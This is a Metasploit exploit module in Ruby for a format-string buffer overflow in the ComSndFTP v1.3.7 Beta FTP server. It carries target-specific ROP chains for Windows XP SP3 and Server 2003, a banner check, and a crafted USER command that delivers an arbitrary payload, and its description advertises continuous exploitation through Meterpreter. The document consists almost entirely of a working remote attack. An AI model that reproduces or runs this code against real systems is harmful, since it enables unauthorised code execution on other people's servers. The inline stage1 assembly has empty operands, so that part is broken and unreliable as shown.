require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name'=> 'ComSndFTP v1.3.7 Beta USER Buffer Overflow',
'Description' => %q{
This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
crafted format string specifier as a username. The crafted username is sent to to the server to
overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
The SEH exit function is preferred so that the administrators are not left with an unhandled
exception message. When using the meterpreter payload, the process will never die, allowing
for continuous exploitation.
},
'Author'=>
[
'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>',
'rick2600 <rick2600[at]corelan.be>',
'mr_me <mr_me[at]@corelan.be>',
'corelanc0d3r <peter.ve[at]corelan.be>'
],
'Arch'=> [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References'=>
[
[ 'EDB', '19024']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Platform'=> ['win'],
'Privileged'=> false,
'Payload' =>
{
'Space'=> 1000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment'=> -3500,
'DisableNops'=> 'True'
},
'Targets' =>
[
[
'Windows XP SP3 - English',
{
'Functionpointer' => 0x71AC4050,
'Functionaddress' => 0x71AB2636,
'Pivot' => 0x00408D16,
'Pad' => 568
}
],
[
'Windows Server 2003 - English',
{
'Functionpointer' => 0x71C14044,
'Functionaddress' => 0x71C02661,
'Pivot' => 0x00408D16,
'Pad' => 568
}
]
],
'DisclosureDate' => 'Jun 08 2012'))
register_options(
[
Opt::RPORT(21),
], self.class)
end
def check
connect
banner= sock.get(-1,3)
validate= "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
validate << "\xf1\xc6\xf7\x21\x0d\x0a"
disconnect
if (banner == validate)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def exploit
rop = ''
if target.name =~ /Server 2003/
rop = [
0x77be3adb,
0x77ba1114,
0x77bbf244,
junk,
0x77bb0c86,
0x77be3adb,
0xFFFFFBFF,
0x77BAD64D,
junk,
0x77BBF102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77be3adb,
0xFFFFFFC0,
0x77BAD64D,
0x77be2265,
0x77BB8285,
0x77be3adb,
0x90909090,
0x77be6591,
].pack("V*")
elsif target.name =~ /XP SP3/
rop = [
0x77C21D16,
0x77C11120,
0x77C2E493,
junk,
0x77C21891,
0x77C5D010,
0x77C2DD6C,
0x77C21D16,
0xFFFFFBFF,
0x77C1BE18,
junk,
0x77C2362C,
0x77C5D010,
0x77C2E071,
0x77C1F519,
0x77C5D010,
0x77C23B47,
0x77C23B48,
0x77C21D16,
0xFFFFFFC0,
0x77C1BE18,
0x77C35459,
0x77C58FBC,
0x77C21D16,
0x90909090,
0x77C567F0,
].pack("V*")
end
stage1 = %Q{
mov eax,
mov ecx,
mov [eax], ecx
}
offset_wp = rand_text_alphanumeric(1)
pivot = target['Pivot']
offset= target['Pad'] + rop.length + stage1.length + payload.encoded.length
attackstring= rand_text_alphanumeric(7)
attackstring << [target['Functionpointer']].pack('V')
attackstring << "%#{pivot}x"
attackstring << "%p" * 208 + "#{offset_wp }%n"
attackstring << rand_text_alphanumeric(target['Pad'])
attackstring << rop
attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string
attackstring << payload.encoded
attackstring << rand_text_alphanumeric(2000 - offset)
attackstring << "\r\n"
sploit = "USER #{attackstring}\r\n"
print_status("Triggering overflow...")
connect
sock.get_once(1024)
sock.put(sploit)
select(nil, nil, nil, 2)
handler
disconnect
end
end